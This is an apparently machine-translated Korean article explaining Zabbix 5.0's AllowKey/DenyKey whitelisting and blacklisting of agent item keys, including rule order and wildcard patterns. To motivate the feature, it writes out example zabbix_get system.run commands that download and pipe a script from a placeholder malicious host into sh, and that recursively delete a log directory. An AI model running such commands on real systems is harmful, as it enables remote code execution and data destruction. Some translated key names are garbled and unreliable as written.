Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

ํ‹ฐ์ฝ˜ ์šฐ์Šค์ฝ”ํ”„, Zabbix ํ†ตํ•ฉ ์—”์ง€๋‹ˆ์–ด

๋ฐ์ดํ„ฐ ๋ณด์•ˆ ๋ฌธ์ œ

Zabbix 5.0์—๋Š” Zabbix Agent๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‹œ์Šคํ…œ์˜ ๋ณด์•ˆ์„ ํ–ฅ์ƒ์‹œํ‚ค๊ณ  ์ด์ „ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๋Œ€์ฒดํ•  ์ˆ˜ ์žˆ๋Š” ์ƒˆ๋กœ์šด ๊ธฐ๋Šฅ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์›๊ฒฉ ๋ช…๋ น ํ™œ์„ฑํ™”.

์—์ด์ „ํŠธ ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ์˜ ๋ณด์•ˆ ๊ฐœ์„ ์€ ์—์ด์ „ํŠธ๊ฐ€ ์ž ์žฌ์ ์œผ๋กœ ์œ„ํ—˜ํ•œ ์ž‘์—…์„ ๋งŽ์ด ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์‚ฌ์‹ค์—์„œ ๋น„๋กฏ๋ฉ๋‹ˆ๋‹ค.

  • ์—์ด์ „ํŠธ๋Š” ๊ตฌ์„ฑ ํŒŒ์ผ, ๋กœ๊ทธ ํŒŒ์ผ, ๋น„๋ฐ€๋ฒˆํ˜ธ ํŒŒ์ผ ๋˜๋Š” ๊ธฐํƒ€ ํŒŒ์ผ์—์„œ ๊ธฐ๋ฐ€ ์ •๋ณด๋‚˜ ์ž ์žฌ์ ์œผ๋กœ ์œ„ํ—˜ํ•œ ์ •๋ณด๋ฅผ ํฌํ•จํ•œ ๊ฑฐ์˜ ๋ชจ๋“  ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, zabbix_get ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์‚ฌ์šฉ์ž ๋ชฉ๋ก, ํ™ˆ ๋””๋ ‰ํ„ฐ๋ฆฌ, ๋น„๋ฐ€๋ฒˆํ˜ธ ํŒŒ์ผ ๋“ฑ์— ์•ก์„ธ์Šคํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

zabbix_get ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ์— ์•ก์„ธ์Šค

์ฐธ๊ณ . ์—์ด์ „ํŠธ๊ฐ€ ํ•ด๋‹น ํŒŒ์ผ์— ๋Œ€ํ•œ ์ฝ๊ธฐ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ๊ฒฝ์šฐ์—๋งŒ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.. ๊ทธ๋Ÿฌ๋‚˜ ์˜ˆ๋ฅผ ๋“ค์–ด ํŒŒ์ผ /etc/passwd/ ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ์—์ด์ „ํŠธ๋Š” ์ž ์žฌ์ ์œผ๋กœ ์œ„ํ—˜ํ•œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ํ‚ค *์‹œ์Šคํ…œ.์‹คํ–‰[]**๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์—์ด์ „ํŠธ ์ธก์—์„œ๋„ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” Zabbix ์›น ์ธํ„ฐํŽ˜์ด์Šค์˜ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์„ ํฌํ•จํ•˜์—ฌ ๋„คํŠธ์›Œํฌ ๋…ธ๋“œ์—์„œ ์›๊ฒฉ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Linux์—์„œ๋Š” ์—์ด์ „ํŠธ๊ฐ€ ๊ธฐ๋ณธ์ ์œผ๋กœ ๋ฃจํŠธ ๊ถŒํ•œ ์—†์ด ์‹คํ–‰๋˜๋Š” ๋ฐ˜๋ฉด, Windows์—์„œ๋Š” ์‹œ์Šคํ…œ ์„œ๋น„์Šค๋กœ ์‹คํ–‰๋˜๋ฉฐ ํŒŒ์ผ ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ๋ฌด์ œํ•œ ์•ก์„ธ์Šค ๊ถŒํ•œ์„ ๊ฐ–์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์„ค์น˜ ํ›„ Zabbix ์—์ด์ „ํŠธ ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ๋ณ€๊ฒฝ๋˜์ง€ ์•Š์œผ๋ฉด ์—์ด์ „ํŠธ๋Š” ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ, ํŒŒ์ผ ์‹œ์Šคํ…œ์— ์•ก์„ธ์Šคํ•˜๊ณ  WMI ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด์ „ ๋ฒ„์ „์—์„œ๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜ EnableRemoteCommands=0 * ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ธก์ •ํ•ญ๋ชฉ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” ๊ฒƒ๋งŒ ํ—ˆ์šฉ๋ฉ๋‹ˆ๋‹ค.์‹œ์Šคํ…œ.์‹คํ–‰[]** ์›น ์ธํ„ฐํŽ˜์ด์Šค์—์„œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ–ˆ์ง€๋งŒ ๊ฐœ๋ณ„ ํŒŒ์ผ์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๋ฅผ ์ œํ•œํ•˜๊ฑฐ๋‚˜ ์—์ด์ „ํŠธ์™€ ํ•จ๊ป˜ ์„ค์น˜๋œ ๊ฐœ๋ณ„ ํ‚ค๋ฅผ ํ—ˆ์šฉ ๋˜๋Š” ๋น„ํ™œ์„ฑํ™”ํ•˜๊ฑฐ๋‚˜ ๊ฐœ๋ณ„ ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ์‚ฌ์šฉ์„ ์ œํ•œํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ด ์—†์—ˆ์Šต๋‹ˆ๋‹ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

์ด์ „ ๋ฒ„์ „์˜ Zabbix์—์„œ EnableRemoteCommand ๋งค๊ฐœ๋ณ€์ˆ˜ ์‚ฌ์šฉ

ํ—ˆ์šฉํ‚ค/๊ฑฐ๋ถ€ํ‚ค

Zabbix 5.0์€ ์—์ด์ „ํŠธ ์ธก์—์„œ ๋ฉ”ํŠธ๋ฆญ์„ ํ—ˆ์šฉ ๋ฐ ๊ฑฐ๋ถ€ํ•˜๊ธฐ ์œ„ํ•œ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ๋ฐ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋ฅผ ์ œ๊ณตํ•˜์—ฌ ์ด๋Ÿฌํ•œ ๋ฌด๋‹จ ์•ก์„ธ์Šค๋กœ๋ถ€ํ„ฐ ๋ณดํ˜ธํ•ฉ๋‹ˆ๋‹ค.

Zabbix 5.0์—์„œ๋Š” *๋ฅผ ํฌํ•จํ•œ ๋ชจ๋“  ํ‚ค์‹œ์Šคํ…œ.์‹คํ–‰[]**๊ฐ€ ํ™œ์„ฑํ™”๋˜์—ˆ์œผ๋ฉฐ ๋‘ ๊ฐ€์ง€ ์ƒˆ๋กœ์šด ์—์ด์ „ํŠธ ๊ตฌ์„ฑ ์˜ต์…˜์ด ์ถ”๊ฐ€๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

ํ—ˆ์šฉํ‚ค= - ํ—ˆ์šฉ๋œ ์ˆ˜ํ‘œ

๊ฑฐ๋ถ€ํ‚ค= - ๊ธˆ์ง€๋œ ์ˆ˜ํ‘œ

๋ฉ”ํƒ€ ๋ฌธ์ž(*)๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ํฌํ•จ๋œ ํ‚ค ์ด๋ฆ„ ํŒจํ„ด์€ ์–ด๋””์— ์žˆ์Šต๋‹ˆ๊นŒ?

AllowKey ๋ฐ DenyKey ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ํŠน์ • ํŒจํ„ด์— ๋”ฐ๋ผ ๊ฐœ๋ณ„ ์ง€ํ‘œ๋ฅผ ํ—ˆ์šฉํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ๊ตฌ์„ฑ ๋งค๊ฐœ๋ณ€์ˆ˜์™€ ๋‹ฌ๋ฆฌ AllowKey/DenyKey ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ์ˆ˜๋Š” ์ œํ•œ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ๊ฒ€์‚ฌ ํŠธ๋ฆฌ(์‹คํ–‰ ํ‚ค ์ž‘์„ฑ ์ˆœ์„œ๊ฐ€ ๋งค์šฐ ์ค‘์š”ํ•œ ์—ญํ• ์„ ํ•จ)๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ์‹œ์Šคํ…œ์—์„œ ์—์ด์ „ํŠธ๊ฐ€ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์ž‘์—…์„ ์ •ํ™•ํžˆ ์ •์˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทœ์น™์˜ ์ˆœ์„œ

๊ทœ์น™์€ ๊ตฌ์„ฑ ํŒŒ์ผ์— ์ž…๋ ฅ๋œ ์ˆœ์„œ๋Œ€๋กœ ํ™•์ธ๋ฉ๋‹ˆ๋‹ค. ์ฒซ ๋ฒˆ์งธ ์ผ์น˜ ์ „์— ๊ทœ์น™์— ๋”ฐ๋ผ ํ‚ค๋ฅผ ํ™•์ธํ•˜๊ณ , ๋ฐ์ดํ„ฐ ์š”์†Œ์˜ ํ‚ค๊ฐ€ ํŒจํ„ด๊ณผ ์ผ์น˜ํ•˜๋Š” ์ฆ‰์‹œ ํ—ˆ์šฉ๋˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€๋ฉ๋‹ˆ๋‹ค. ๊ทธ ํ›„์—๋Š” ๊ทœ์น™ ๊ฒ€์‚ฌ๊ฐ€ ์ค‘์ง€๋˜๊ณ  ๋‚˜๋จธ์ง€ ํ‚ค๋Š” ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ์š”์†Œ๊ฐ€ ํ—ˆ์šฉ ๋ฐ ๊ฑฐ๋ถ€ ๊ทœ์น™๊ณผ ๋ชจ๋‘ ์ผ์น˜ํ•˜๋Š” ๊ฒฝ์šฐ ๊ฒฐ๊ณผ๋Š” ๊ตฌ์„ฑ ํŒŒ์ผ์˜ ์ฒซ ๋ฒˆ์งธ ๊ทœ์น™์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

๋™์ผํ•œ ํŒจํ„ด๊ณผ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๋Š” 2๊ฐœ์˜ ๋‹ค๋ฅธ ๊ทœ์น™ vfs.file.size[/tmp/ํŒŒ์ผ]

AllowKey/DenyKey ํ‚ค ์‚ฌ์šฉ ์ˆœ์„œ:

  1. ์ •ํ™•ํ•œ ๊ทœ์น™,
  2. ์ผ๋ฐ˜ ๊ทœ์น™,
  3. ๊ธˆ์ง€ ๊ทœ์น™.

์˜ˆ๋ฅผ ๋“ค์–ด ํŠน์ • ํด๋”์— ์žˆ๋Š” ํŒŒ์ผ์— ์•ก์„ธ์Šคํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ ๋จผ์ € ํ•ด๋‹น ํŒŒ์ผ์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๋ฅผ ํ—ˆ์šฉํ•œ ๋‹ค์Œ ์„ค์ •๋œ ๊ถŒํ•œ์— ์†ํ•˜์ง€ ์•Š๋Š” ๋ชจ๋“  ํ•ญ๋ชฉ์„ ๊ฑฐ๋ถ€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ฑฐ๋ถ€ ๊ทœ์น™์„ ๋จผ์ € ์‚ฌ์šฉํ•˜๋ฉด ํด๋”์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๊ฐ€ ๊ฑฐ๋ถ€๋ฉ๋‹ˆ๋‹ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

์˜ฌ๋ฐ”๋ฅธ ์ˆœ์„œ

*๋ฅผ ํ†ตํ•ด 2๊ฐœ์˜ ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ํ—ˆ์šฉํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ์‹œ์Šคํ…œ.์‹คํ–‰[]**, ๊ฑฐ๋ถ€ ๊ทœ์น™์ด ๋จผ์ € ์ง€์ •๋˜๊ณ  ์ฒซ ๋ฒˆ์งธ ํŒจํ„ด์ด ํ•ญ์ƒ ๋ชจ๋“  ํ‚ค์™€ ์ผ์น˜ํ•˜๊ณ  ํ›„์† ๊ทœ์น™์ด ๋ฌด์‹œ๋˜๊ธฐ ๋•Œ๋ฌธ์— ์œ ํ‹ธ๋ฆฌํ‹ฐ๊ฐ€ ์‹œ์ž‘๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

์ž˜๋ชป๋œ ์ˆœ์„œ

ํŒจํ„ด

๊ธฐ๋ณธ ๊ทœ์น™

ํŒจํ„ด์€ ์™€์ผ๋“œ์นด๋“œ๊ฐ€ ํฌํ•จ๋œ ํ‘œํ˜„์‹์ž…๋‹ˆ๋‹ค. ๋ฉ”ํƒ€ ๋ฌธ์ž(*)๋Š” ํŠน์ • ์œ„์น˜์— ์žˆ๋Š” ๋ชจ๋“  ๋ฌธ์ž์™€ ์ผ์น˜ํ•ฉ๋‹ˆ๋‹ค. ๋ฉ”ํƒ€๋ฌธ์ž๋Š” ํ‚ค ์ด๋ฆ„๊ณผ ๋งค๊ฐœ๋ณ€์ˆ˜ ๋ชจ๋‘์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์ฒซ ๋ฒˆ์งธ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํ…์ŠคํŠธ๋กœ ์—„๊ฒฉํ•˜๊ฒŒ ์ •์˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ํ•ญ๋ชฉ์„ ์™€์ผ๋“œ์นด๋“œ๋กœ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค..

๋งค๊ฐœ๋ณ€์ˆ˜๋Š” ๋Œ€๊ด„ํ˜ธ[]๋กœ ๋ฌถ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

  • system.run[* - ์ž˜๋ชป๋œ
  • vfs.file*.txt] - ์ž˜๋ชป๋œ
  • vfs.file.*[*] - ์˜ค๋ฅธ์ชฝ

์™€์ผ๋“œ์นด๋“œ ์‚ฌ์šฉ ์˜ˆ.

  1. ํ‚ค ์ด๋ฆ„๊ณผ ๋งค๊ฐœ๋ณ€์ˆ˜์— ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ ํ‚ค๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํฌํ•จํ•˜์ง€ ์•Š๋Š” ์œ ์‚ฌํ•œ ํ‚ค์— ํ•ด๋‹นํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ํŒจํ„ด์—์„œ ์šฐ๋ฆฌ๋Š” ํ‚ค ์ด๋ฆ„์˜ ํŠน์ • ๋ ๋ถ€๋ถ„๊ณผ ํŠน์ • ๋งค๊ฐœ๋ณ€์ˆ˜ ์„ธํŠธ๋ฅผ ์ˆ˜์‹ ํ•˜๋ ค๊ณ  ํ•จ์„ ๋‚˜ํƒ€๋ƒˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.
  2. ํŒจํ„ด์ด ๋Œ€๊ด„ํ˜ธ๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ ํŒจํ„ด์€ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํฌํ•จํ•˜์ง€ ์•Š๋Š” ๋ชจ๋“  ํ‚ค๋ฅผ ํ—ˆ์šฉํ•˜๊ณ  ์ง€์ •๋œ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํฌํ•จํ•˜๋Š” ๋ชจ๋“  ํ‚ค๋ฅผ ๊ฑฐ๋ถ€ํ•ฉ๋‹ˆ๋‹ค.
  3. ํ‚ค๊ฐ€ ์ „์ฒด๋กœ ์ž‘์„ฑ๋˜๊ณ  ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ์™€์ผ๋“œ์นด๋“œ๋กœ ์ง€์ •๋œ ๊ฒฝ์šฐ ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ์žˆ๋Š” ์œ ์‚ฌํ•œ ํ‚ค์™€ ์ผ์น˜ํ•˜๋ฉฐ ๋Œ€๊ด„ํ˜ธ๊ฐ€ ์—†๋Š” ํ‚ค์™€ ์ผ์น˜ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ฆ‰, ํ—ˆ์šฉ๋˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€๋ฉ๋‹ˆ๋‹ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

๋งค๊ฐœ๋ณ€์ˆ˜ ์ž‘์„ฑ ๊ทœ์น™.

  • ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ์žˆ๋Š” ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๋ ค๋Š” ๊ฒฝ์šฐ ๊ตฌ์„ฑ ํŒŒ์ผ์— ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ง€์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋งค๊ฐœ๋ณ€์ˆ˜๋Š” ๋ฉ”ํƒ€ ๋ฌธ์ž๋กœ ์ง€์ •๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋“  ํŒŒ์ผ์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๋ฅผ ์‹ ์ค‘ํ•˜๊ฒŒ ๊ฑฐ๋ถ€ํ•˜๊ณ  ๋งค๊ฐœ๋ณ€์ˆ˜ ์œ ๋ฌด์— ๊ด€๊ณ„์—†์ด ๋‹ค์–‘ํ•œ ์ฒ ์ž๋ฒ•์œผ๋กœ ๋ฉ”ํŠธ๋ฆญ์ด ์ œ๊ณตํ•  ์ˆ˜ ์žˆ๋Š” ์ •๋ณด๋ฅผ ๊ณ ๋ คํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ‚ค ์“ฐ๊ธฐ ๊ธฐ๋Šฅ

  • ํ‚ค๊ฐ€ ๋งค๊ฐœ๋ณ€์ˆ˜์™€ ํ•จ๊ป˜ ์ง€์ •๋˜์—ˆ์ง€๋งŒ ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ์„ ํƒ์‚ฌํ•ญ์ด๊ณ  ๋ฉ”ํƒ€๋ฌธ์ž๋กœ ์ง€์ •๋œ ๊ฒฝ์šฐ ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ์—†๋Š” ํ‚ค๊ฐ€ ํ™•์ธ๋ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, CPU ๋ถ€ํ•˜์— ๋Œ€ํ•œ ์ •๋ณด ์ˆ˜์‹ ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ณ  system.cpu.load[*] ํ‚ค๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๋„๋ก ์ง€์ •ํ•˜๋ ค๋ฉด ๋งค๊ฐœ ๋ณ€์ˆ˜๊ฐ€ ์—†๋Š” ํ‚ค๊ฐ€ ํ‰๊ท  ๋ถ€ํ•˜ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•œ๋‹ค๋Š” ์ ์„ ์žŠ์ง€ ๋งˆ์‹ญ์‹œ์˜ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

๋งค๊ฐœ๋ณ€์ˆ˜ ์ž…๋ ฅ ๊ทœ์น™

์ฐธ๊ณ 

์กฐ์ •

  • ์ผ๋ถ€ ๊ทœ์น™(์˜ˆ: ๊ฒ€์ƒ‰ ๊ทœ์น™, ์—์ด์ „ํŠธ ์ž๋™ ๋“ฑ๋ก ๊ทœ์น™)์€ ์‚ฌ์šฉ์ž๊ฐ€ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. AllowKey/DenyKey ๊ทœ์น™์€ ๋‹ค์Œ ๋งค๊ฐœ๋ณ€์ˆ˜์— ์˜ํ–ฅ์„ ์ฃผ์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
    - ํ˜ธ์ŠคํŠธ ์ด๋ฆ„ํ•ญ๋ชฉ
    - ํ˜ธ์ŠคํŠธ๋ฉ”ํƒ€๋ฐ์ดํ„ฐํ•ญ๋ชฉ
    - ํ˜ธ์ŠคํŠธ์ธํ„ฐํŽ˜์ด์Šค์•„์ดํ…œ

์ฐธ๊ณ . ๊ด€๋ฆฌ์ž๊ฐ€ ํ‚ค๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•œ ๊ฒฝ์šฐ ์ฟผ๋ฆฌ ์‹œ Zabbix๋Š” ๋ฉ”ํŠธ๋ฆญ์ด๋‚˜ ํ‚ค๊ฐ€ ' ์นดํ…Œ๊ณ ๋ฆฌ์— ์†ํ•˜๋Š” ์ด์œ ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.์ง€์›๋˜์ง€ ์•Š์Œ'. ์›๊ฒฉ ๋ช…๋ น ์‹คํ–‰ ๊ธˆ์ง€์— ๋Œ€ํ•œ ์ •๋ณด๋„ ์—์ด์ „ํŠธ ๋กœ๊ทธ ํŒŒ์ผ์— ํ‘œ์‹œ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋ณด์•ˆ์ƒ์˜ ์ด์œ ์ด์ง€๋งŒ ์–ด๋–ค ์ด์œ ๋กœ ์ธก์ •ํ•ญ๋ชฉ์ด ์ง€์›๋˜์ง€ ์•Š๋Š” ์นดํ…Œ๊ณ ๋ฆฌ์— ์†ํ•˜๋Š” ๊ฒฝ์šฐ ๋””๋ฒ„๊น…์ด ๋ณต์žกํ•ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค..

  • ์™ธ๋ถ€ ๊ตฌ์„ฑ ํŒŒ์ผ์„ ์—ฐ๊ฒฐํ•  ๋•Œ ํŠน์ • ์ˆœ์„œ(์˜ˆ: ์•ŒํŒŒ๋ฒณ์ˆœ)๋ฅผ ์‚ฌ์šฉํ•ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค.

๋ช…๋ น์ค„ ์œ ํ‹ธ๋ฆฌํ‹ฐ

๊ทœ์น™์„ ์„ค์ •ํ•œ ํ›„์—๋Š” ๋ชจ๋“  ๊ฒƒ์ด ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๊ตฌ์„ฑ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๋‹ค์Œ ์„ธ ๊ฐ€์ง€ ์˜ต์…˜ ์ค‘ ํ•˜๋‚˜๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Zabbix์— ์ง€ํ‘œ๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
  • ํ…Œ์ŠคํŠธ zabbix_agentd. ์˜ต์…˜์ด ์žˆ๋Š” Zabbix ์—์ด์ „ํŠธ -์ธ์‡„(-p) ๊ตฌ์„ฑ์—์„œ ํ—ˆ์šฉ๋˜์ง€ ์•Š๋Š” ํ‚ค๋ฅผ ์ œ์™ธํ•œ ๋ชจ๋“  ํ‚ค(๊ธฐ๋ณธ์ ์œผ๋กœ ํ—ˆ์šฉ๋จ)๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์˜ต์…˜์œผ๋กœ -ํ…Œ์ŠคํŠธ(-t) ๊ธˆ์ง€๋œ ํ‚ค๋Š” '๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.์ง€์›๋˜์ง€ ์•Š๋Š” ํ•ญ๋ชฉ ํ‚ค'.
  • ํ…Œ์ŠคํŠธ zabbix_get. ๊ณต์ต์‚ฌ์—… zabbix_get ์˜ต์…˜ ํฌํ•จ -k '๋ฅผ ๋Œ๋ ค์ค„ ๊ฒƒ์ด๋‹คZBX_NOTSUPPORTED: ์•Œ ์ˆ˜ ์—†๋Š” ์ธก์ •ํ•ญ๋ชฉ'.

ํ—ˆ์šฉ ๋˜๋Š” ๊ฑฐ๋ถ€

